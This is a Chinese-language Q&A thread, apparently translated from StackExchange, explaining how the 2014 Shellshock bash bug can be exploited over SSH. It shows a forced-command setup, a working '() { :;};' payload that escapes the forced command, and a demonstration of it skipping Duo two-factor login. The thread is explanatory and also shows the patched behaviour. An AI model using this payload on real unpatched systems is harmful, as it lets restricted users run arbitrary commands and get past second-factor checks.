如何通过 SSH 来利用 shellshock?

如何通过 SSH 来利用 shellshock?

显然,shellshock Bash 漏洞利用CVE-2014-6271可以通过 SSH 在网络上被利用。我可以想象该漏洞如何通过 Apache/CGI 发挥作用,但我无法想象如何通过 SSH 发挥作用?

有人可以提供一个例子来说明 SSH 是如何被利用的,以及这会对系统造成什么危害吗?

澄清

AFAIU,只有经过身份验证的用户才能通过 SSH 利用此漏洞。对于拥有系统合法访问权限的人来说,这个漏洞有什么用呢?我的意思是,这个漏洞没有权限升级(他无法成为 root),所以他只能做他在通过 SSH 合法登录后所能做的事情。

答案1

可以利用这一点的一个例子是在具有authorized_keys强制命令的服务器上。将条目添加到 时~/.ssh/authorized_keys,您可以在该行前面加上前缀,以便在使用 ssh 公钥时command="foo"强制foo运行。通过此漏洞,如果目标用户的 shell 设置为bash,他们就可以利用该漏洞来运行他们被迫执行的命令之外的其他内容。

这在示例中可能更有意义,所以这里是一个示例:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

这里我们设置一个用户testuser,强制使用您的 ssh 密钥运行任何 ssh 连接echo starting sleep; sleep 1

我们可以通过以下方式进行测试:

$ ssh testuser@localhost echo something else
starting sleep

请注意我们的命令echo something else没有运行,但starting sleep显示强制命令确实运行了。

现在让我们展示如何使用此漏洞:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

这是有效的,因为将环境变量sshd设置SSH_ORIGINAL_COMMAND为传递的命令。因此,即使sshdran sleep,而不是我告诉它的命令,由于漏洞利用,我的代码仍然可以运行。

答案2

扩展 Ramesh 的示例 - 如果您使用双因素身份验证,则可以使用此漏洞绕过第二个因素,具体取决于其实现方式。

— 正常登录 —

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— 在没有 2FA 的情况下运行代码 —

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

您会注意到它运行代码时没有提示 2FA。

— 修补 bash 之后 —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

答案3

Shellshock 是 bash 上的漏洞,而不是 SSH 上的漏洞。为了利用它,攻击者需要使易受攻击的系统运行 bash,并控制将传递给 bash 的环境变量的值。

为了通过 SSH 到达 bash 进程,攻击者需要通过身份验证步骤。 (可能存在通过其他网络服务的攻击向量,但它们超出了本线程的范围。)如果无论如何都允许该帐户运行任意 shell 命令,则不会发生攻击。如果帐户被限制运行特定命令,则该漏洞就会发挥作用:例如,仅 SFTP 帐户或仅 git 帐户等。

有多种方法可以限制帐户使用 SSH 运行特定命令:使用ForceCommand中的选项sshd_config,或使用command=.文件中的限制authorized_keys。如果用户的 shell 是 bash,则 Shellshock 漏洞允许通常只能访问受限帐户的用户绕过限制并执行任意命令。

相关内容